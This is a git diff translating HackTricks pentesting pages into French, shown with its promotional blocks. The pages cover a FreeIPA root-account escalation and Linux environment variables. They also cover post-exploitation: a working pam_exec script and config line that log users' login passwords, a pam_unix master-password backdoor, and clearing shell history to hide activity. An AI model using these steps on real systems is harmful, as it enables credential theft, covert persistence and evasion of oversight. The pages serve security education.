A ÉTÉ CORRIGÉ.** {% endhint %} -The "**User Administrators**" privilege, is very powerful (as its name indicates it): +Le privilège "**Administrateurs d'utilisateurs**" est très puissant (comme son nom l'indique) :
-With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can **make a new user inside the FreeIPA domain named \_root**.\_ +Avec ce privilège, on peut avoir beaucoup de pouvoir différent pour affecter les utilisateurs à l'intérieur de l'environnement. En utilisant ce privilège, nous pouvons **créer un nouvel utilisateur dans le domaine FreeIPA nommé \_root**.\_
-Once the user is created in the domain we can **obtain a ticket for the account with \_kinit**\_. +Une fois que l'utilisateur est créé dans le domaine, nous pouvons **obtenir un ticket pour le compte avec \_kinit**\_.
-Now we can attempt to **SSH** using our newly created root domain account. +Maintenant, nous pouvons essayer de **SSH** en utilisant notre nouveau compte de domaine root.
-As shown this **drops the user into the local root account**! So simply by creating a domain user for a local user we were able to authenticate using the _root@WESTEROS.LOCAL_ account and obtain the **user context of the local root account**_._ +Comme le montre la figure, cela **fait passer l'utilisateur en compte root local** ! Ainsi, simplement en créant un utilisateur de domaine pour un utilisateur local, nous avons pu nous authentifier en utilisant le compte _root@WESTEROS.LOCAL_ et obtenir le **contexte utilisateur du compte root local**_._ -_For more details about this vuln check_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\ +Pour plus de détails sur cette vulnérabilité, consultez [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index a1dbbe4f3..e08bec0d9 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -1,48 +1,41 @@ -# Linux Environment Variables +# Variables d'environnement Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Global variables +## Variables globales -The global variables **will be** inherited by **child processes**. - -You can create a global variable for your current session doing: +Les variables globales **seront** héritées par les **processus enfants**. +Vous pouvez créer une variable globale pour votre session actuelle en faisant : ```bash export MYGLOBAL="hello world" echo $MYGLOBAL #Prints: hello world ``` +Cette variable sera accessible par vos sessions actuelles et ses processus enfants. -This variable will be accessible by your current sessions and its child processes. - -You can **remove** a variable doing: - +Vous pouvez **supprimer** une variable en faisant : ```bash unset MYGLOBAL ``` +## Variables locaux -## Local variables - -The **local variables** can only be **accessed** by the **current shell/script**. - +Les **variables locales** ne peuvent être **accédées** que par le **shell/script courant**. ```bash LOCAL="my local" echo $LOCAL unset LOCAL ``` - -## List current variables - +## Liste des variables actuelles ```bash set env @@ -50,14 +43,13 @@ printenv cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` +## Variables d'environnement persistantes -## Persistent Environment variables +#### **Fichiers qui affectent le comportement de chaque utilisateur :** -#### **Files that affect behavior of every user:** - -* _**/etc/bash.bashrc**_: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed. -* _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in. - * \*\*Example: \*\* +* _**/etc/bash.bashrc**_ : Ce fichier est lu chaque fois qu'un shell interactif est démarré (terminal normal) et toutes les commandes spécifiées ici sont exécutées. +* _**/etc/profile et /etc/profile.d/\***_**:** Ce fichier est lu chaque fois qu'un utilisateur se connecte. Ainsi, toutes les commandes exécutées ici ne seront exécutées qu'une seule fois au moment de la connexion de l'utilisateur. + * \*\*Exemple : \*\* `/etc/profile.d/somescript.sh` @@ -67,90 +59,82 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ export $TEST ``` -#### **Files that affect behavior for only a specific user:** +#### **Fichiers qui affectent le comportement d'un utilisateur spécifique :** -* _**\~/.bashrc**_: This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. -* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. +* _**\~/.bashrc**_ : Ce fichier fonctionne de la même manière que le fichier _/etc/bash.bashrc_, mais il est exécuté uniquement pour un utilisateur spécifique. Si vous voulez créer un environnement pour vous-même, modifiez ou créez ce fichier dans votre répertoire personnel. +* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** Ces fichiers sont identiques à _/etc/profile_. La différence réside dans la manière dont il est exécuté. Ce fichier est exécuté uniquement lorsqu'un utilisateur dans le répertoire personnel duquel ce fichier existe se connecte. -**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) +**Extrait de :** [**ici**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **et** [**ici**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) -## Common variables +## Variables courantes -From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) +De : [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** – the display used by **X**. This variable is usually set to **:0.0**, which means the first display on the current computer. -* **EDITOR** – the user’s preferred text editor. -* **HISTFILESIZE** – the maximum number of lines contained in the history file. -* \*\*HISTSIZE - \*\*Number of lines added to the history file when the user finish his session -* **HOME** – your home directory. -* **HOSTNAME** – the hostname of the computer. -* **LANG** – your current language. -* **MAIL** – the location of the user’s mail spool. Usually **/var/spool/mail/USER**. -* **MANPATH** – the list of directories to search for manual pages. -* **OSTYPE** – the type of operating system. -* **PS1** – the default prompt in bash. -* \*\*PATH - \*\*stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path. -* **PWD** – the current working directory. -* **SHELL** – the path to the current command shell (for example, **/bin/bash**). -* **TERM** – the current terminal type (for example, **xterm**). -* **TZ** – your time zone. -* **USER** – your current username. +* **DISPLAY** – l'affichage utilisé par **X**. Cette variable est généralement définie sur **:0.0**, ce qui signifie le premier affichage sur l'ordinateur actuel. +* **EDITOR** – l'éditeur de texte préféré de l'utilisateur. +* **HISTFILESIZE** – le nombre maximum de lignes contenues dans le fichier d'historique. +* \*\*HISTSIZE - \*\*Nombre de lignes ajoutées au fichier d'historique lorsque l'utilisateur termine sa session. +* **HOME** – votre répertoire personnel. +* **HOSTNAME** – le nom d'hôte de l'ordinateur. +* **LANG** – votre langue actuelle. +* **MAIL** – l'emplacement du spool de courrier de l'utilisateur. Généralement **/var/spool/mail/USER**. +* **MANPATH** – la liste des répertoires à rechercher pour les pages de manuel. +* **OSTYPE** – le type de système d'exploitation. +* **PS1** – l'invite par défaut dans bash. +* \*\*PATH - \*\*stocke le chemin de tous les répertoires qui contiennent des fichiers binaires que vous souhaitez exécuter simplement en spécifiant le nom du fichier et non le chemin relatif ou absolu. +* **PWD** – le répertoire de travail actuel. +* **SHELL** – le chemin vers le shell de commande actuel (par exemple, **/bin/bash**). +* **TERM** – le type de terminal actuel (par exemple, **xterm**). +* **TZ** – votre fuseau horaire. +* **USER** – votre nom d'utilisateur actuel. -## Interesting variables for hacking +## Variables intéressantes pour le piratage ### **HISTFILESIZE** -Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash\_history) **will be deleted**. - +Modifiez la **valeur de cette variable à 0**, de sorte que lorsque vous **terminez votre session**, le **fichier d'historique** (\~/.bash\_history) **sera supprimé**. ```bash export HISTFILESIZE=0 ``` - ### **HISTSIZE** -Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash\_history). - +Changez la **valeur de cette variable à 0**, ainsi lorsque vous **terminez votre session**, toute commande ne sera pas ajoutée au **fichier d'historique** (\~/.bash\_history). ```bash export HISTSIZE=0 ``` - ### http\_proxy & https\_proxy -The processes will use the **proxy** declared here to connect to internet through **http or https**. - +Les processus utiliseront le **proxy** déclaré ici pour se connecter à Internet via **http ou https**. ```bash export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" ``` - ### SSL\_CERT\_FILE & SSL\_CERT\_DIR -The processes will trust the certificates indicated in **these env variables**. - +Les processus feront confiance aux certificats indiqués dans **ces variables d'environnement**. ```bash export SSL_CERT_FILE=/path/to/ca-bundle.pem export SSL_CERT_DIR=/path/to/ca-certificates ``` - ### PS1 -Change how your prompt looks. +Modifiez l'apparence de votre invite de commande. -I have created [**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code). +J'ai créé [**celle-ci**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (basée sur une autre, lisez le code). Root: ![](<../.gitbook/assets/image (87).png>) -Regular user: +Utilisateur régulier: ![](<../.gitbook/assets/image (88).png>) -One, two and three backgrounded jobs: +Un, deux et trois travaux en arrière-plan: ![](<../.gitbook/assets/image (89).png>) -One background job, one stopped and last command didn't finish correctly: +Un travail en arrière-plan, un arrêté et la dernière commande n'a pas fini correctement: ![](<../.gitbook/assets/image (90).png>) @@ -158,10 +142,10 @@ One background job, one stopped and last command didn't finish correctly: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/linux-post-exploitation/README.md b/linux-hardening/linux-post-exploitation/README.md index 6112a32c4..f9541ad9d 100644 --- a/linux-hardening/linux-post-exploitation/README.md +++ b/linux-hardening/linux-post-exploitation/README.md @@ -1,119 +1,107 @@ -# Linux Post-Exploitation +# Post-Exploitation Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Sniffing Logon Passwords with PAM +## Sniffer les mots de passe de connexion avec PAM -Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: +Nous allons configurer un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez : {% content-ref url="pam-pluggable-authentication-modules.md" %} [pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md) {% endcontent-ref %} -First, we create a bash script that will be invoked whenever a new authentication occurs. - +Tout d'abord, nous créons un script bash qui sera invoqué chaque fois qu'une nouvelle authentification se produit. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log ``` +Les variables sont spécifiques à PAM et seront disponibles via le module `pam_exec.so`. -The variables are PAM specific and will become available via the `pam_exec.so` module. +Voici la signification des variables : -Here is the meaning of the variables: - -* **$PAM\_USER:** The username that was entered. -* **$PAM\_RHOST:** The remote host (typically the IP Address) -* **$(cat -):** This reads `stdin`, and will contain the password that the script grabs -* The results are piped into a log file at `/var/log/toomanysecrets.log` - -To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.: +* **$PAM\_USER :** Le nom d'utilisateur qui a été saisi. +* **$PAM\_RHOST :** L'hôte distant (généralement l'adresse IP) +* **$(cat -) :** Ceci lit `stdin`, et contiendra le mot de passe que le script récupère +* Les résultats sont redirigés vers un fichier journal dans `/var/log/toomanysecrets.log` +Pour **empêcher tous les utilisateurs de lire** le fichier, envisagez de le créer à l'avance et d'exécuter `chmod`, par exemple : ```bash sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh ``` +Ensuite, le fichier de configuration PAM doit être mis à jour pour utiliser le module `pam_exec` afin d'appeler le script. -Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script. - -There are various config files located in `/etc/pam.d/`, and we pick `common-auth`. - +Il existe différents fichiers de configuration situés dans `/etc/pam.d/`, et nous choisissons `common-auth`. ``` sudo nano /etc/pam.d/common-auth ``` - -On the very bottom of the file, add the following authentication module: +Au tout bas du fichier, ajoutez le module d'authentification suivant : `auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh` -The options have the following meaning: +Les options ont la signification suivante : -* **optional:** Authenticaiton shouldn’t fail if there is an error (it’s not a required step) -* **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts -* **expose\_authtok:** This is the trick that allows to read the password via `stdin` -* **quiet:** Don’t show any errors to the user (if something doesn’t work) -* The last argument is the shell script that was created previously +* **optional :** L'authentification ne doit pas échouer s'il y a une erreur (ce n'est pas une étape obligatoire) +* **pam\_exec.so :** C'est le module PAM qui peut invoquer des scripts arbitraires +* **expose\_authtok :** C'est le truc qui permet de lire le mot de passe via `stdin` +* **quiet :** Ne montrez aucune erreur à l'utilisateur (si quelque chose ne fonctionne pas) +* Le dernier argument est le script shell qui a été créé précédemment ![](<../../.gitbook/assets/image (375).png>) -Finally, make the file executable: +Enfin, rendez le fichier exécutable : `sudo chmod 700 /usr/local/bin/toomanysecrets.sh` -Now, let’s try this out and ssh from another machine, or login locally. - -And then look at the log file: +Maintenant, essayons cela et ssh depuis une autre machine, ou connectez-vous localement. +Et ensuite, regardez le fichier journal : ``` $ sudo cat /var/log/toomanysecrets.log Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From: Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149 ``` +### Backdoor de PAM -### Backdooring PAM - -Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file: - +Allons aux sources de PAM (dépend de votre distribution, prenez le même numéro de version que le vôtre...) et cherchons autour des numéros de ligne 170/180 dans le fichier pam_unix_auth.c : ``` vi modules/pam_unix/pam_unix_auth.c ``` - ![](<../../.gitbook/assets/image (651).png>) -Let’s change this by: +Modifions cela par : ![](<../../.gitbook/assets/image (638) (2) (2).png>) -This will allow any user using the **password "0xMitsurugi"** to log in. - -Recompile the `pam_unix_auth.c`, and replace the pam\_unix.so file: +Cela permettra à n'importe quel utilisateur utilisant le **mot de passe "0xMitsurugi"** de se connecter. +Recompilez le fichier `pam_unix_auth.c` et remplacez le fichier pam\_unix.so : ```bash make sudo cp \ /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \ /lib/x86_64-linux-gnu/security/ ``` - {% hint style="info" %} -You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {% endhint %} -## References +## Références * [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) * [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) @@ -122,14 +110,14 @@ You can automate this process with [https://github.com/zephrax/linux-pam-backdoo ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index f99267242..64eb99ae5 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-PAM is a collection of modules that essentially form a barrier between a service on your system, and the user of the service. The modules can have widely varying purposes, from disallowing a login to users from a particular UNIX group \(or netgroup, or subnet…\), to implementing resource limits so that your ‘research’ group can’t hog system resources. +PAM est une collection de modules qui forment essentiellement une barrière entre un service sur votre système et l'utilisateur du service. Les modules peuvent avoir des objectifs très différents, allant de l'interdiction de connexion aux utilisateurs d'un groupe UNIX particulier \(ou d'un groupe de réseau, ou d'un sous-réseau...\), à la mise en place de limites de ressources afin que votre groupe de "recherche" ne puisse pas monopoliser les ressources système. -# Config Files - -Solaris and other commercial UNIX systems have a slightly different configuration model, centered around a single file, **`/etc/pam.conf`**. On most Linux systems, these configuration files live in **`/etc/pam.d`**, and are named after the service – for example, the ‘login’ configuration file is called **`/etc/pam.d/login`**. Let’s have a quick look at a version of that file: +# Fichiers de configuration +Solaris et d'autres systèmes UNIX commerciaux ont un modèle de configuration légèrement différent, centré autour d'un seul fichier, **`/etc/pam.conf`**. Sur la plupart des systèmes Linux, ces fichiers de configuration se trouvent dans **`/etc/pam.d`**, et sont nommés d'après le service - par exemple, le fichier de configuration "login" s'appelle **`/etc/pam.d/login`**. Jetons un coup d'œil rapide à une version de ce fichier : ```text auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so @@ -35,59 +32,36 @@ password required /lib/security/pam_ldap.so password required 